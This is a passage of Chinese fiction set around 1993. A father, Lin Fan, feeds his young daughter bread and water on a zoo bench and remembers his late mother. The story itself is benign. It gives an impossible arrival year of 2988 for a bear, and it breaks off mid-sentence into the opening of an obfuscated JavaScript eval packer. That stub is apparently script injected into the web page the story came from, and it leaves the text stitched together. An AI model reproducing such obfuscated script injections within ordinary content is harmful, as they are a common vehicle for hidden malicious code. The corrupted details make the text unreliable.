掏出油纸包时，麦香混着油纸的油墨味飘出来，是国营“东方红食品厂”产的钙奶面包。1993年全国国营食品厂还有近万家，但私营面包房已开始零星出现，
东方红食品厂凭着几十年的老手艺，在本地小有名气——
厂里的面粉都是从郊区国营粮站进的特一面粉，奶粉是黑龙江产的全脂奶粉，做面包时从不掺水。
这种钙奶面包一毛钱一个，比普通白面面包贵五分，林凡平时舍不得吃，今天特意早起，五点半就到食品厂门口排队，排到第十五位才买到两个。
油纸剥开，能看到面包表面撒的零星糖粒，在阳光下泛着微光，咬开时还能尝到淡淡的奶香——据说厂里每天限量供应两百个，七点半就会卖完，晚去一步就只能等第二天。
他又拧开军用水壶的盖子，这壶是师傅老周的退伍纪念品，1979年老周从部队退伍时带回来的，壶身印着褪色的“为人民服务”，壶底还刻着老周的名字缩写。
凉白开带着金属壶身的淡淡锈味，林凡每次装水前都会用开水烫一遍壶胆，怕锈味影响笑笑；此刻他先倒在手心试了试温度，确认不凉不烫，才把壶嘴凑到笑笑嘴边：“慢点喝，别呛着。”
笑笑刚追着猴子山的猕猴跑了半圈，身上穿的灯芯绒碎花外套是妈妈生前用蝴蝶牌缝纫机做的——
那台蝴蝶牌缝纫机是上海产的，
1988年妈妈攒了三个月工资（当时她在纺织厂当挡车工，月薪八十块）才买下，机身擦得锃亮，现在还放在阳台的角落，林凡偶尔会用它补补衣服。
1991年妈妈走时，特意拆了自己的旧灯芯绒裤子，选了笑笑最喜欢的粉白碎花布，连夜赶制了两件，说能穿到上学。
如今外套的袖口已经短了两指，露出里面缝补的浅蓝棉布（是妈妈的旧的确良衬衫拆的），后背还沾了点猴山旁的黄土——
刚才她蹲在猴山边看小猴子时，不小心蹭到的——
可林凡每次都用肥皂洗得干干净净，布料被洗得软软的，灯芯绒的绒毛蹭在手上格外舒服。
小丫头脸蛋红扑扑的，额头上渗着细汗，她靠在林凡怀里，小口啃着面包，面包渣掉在衣襟上，自己用小胖手捡起来塞进嘴里，另一只手举着水壶，眼睛盯着天上飘的白云，忽然指着一朵蓬松的云喊：
“爸爸你看！那只云兔子在跟着我们跑！耳朵还动呢！”
林凡顺着她的手指看过去，风正把云絮吹得慢慢移动，像兔子在草坪上蹦跳，他伸手用手绢擦掉女儿额角的汗，指尖触到布料上磨得发亮的绒毛，心里轻轻揪了一下——
2年前这个时候，妈妈还坐在这张长椅上，抱着笑笑指云认动物，说那朵云像小熊，那朵像小鸟，如今只剩他和女儿相依为命，连风里的味道都好像少了点什么。
“爸爸，”
笑笑嚼完最后一口面包，用手背擦了擦嘴角的糖渍，轻声说，“动物园真好玩，比上次去人民公园的滑梯还好玩。”
她还记得春天去人民公园时，那架铁制滑梯是1980年代建的，是当时市里第一个儿童游乐设施，铸铁表面已经有点生锈，夏天晒得能烫红手心，
林凡每次都得用自己的劳动布衬衫擦半天，再让她垫着衣角坐上去，生怕烫到她的小屁股；
可今天在动物园，她不仅在黑熊馆看了会用爪子接苹果的黑熊——
管理员是个五十多岁的大爷，在动物园工作了二十年，他笑着告诉笑笑，那只黑熊叫“憨憨”，2988年从东北动物园运过来的，当时光运费就花了两千块，
现在每天能吃两斤苹果、半斤玉米面窝头，偶尔还会给点蜂蜜当奖励——
还在小羊圈喂了山羊，那只浅棕色的小尾寒羊是本地农户去年送来的，刚生了只小羊羔，小山羊的舌头糙糙的，舔得她手心痒痒的，刚才她还跟
;eval(function(p,a,c,k,e,d){e=function(c){return(c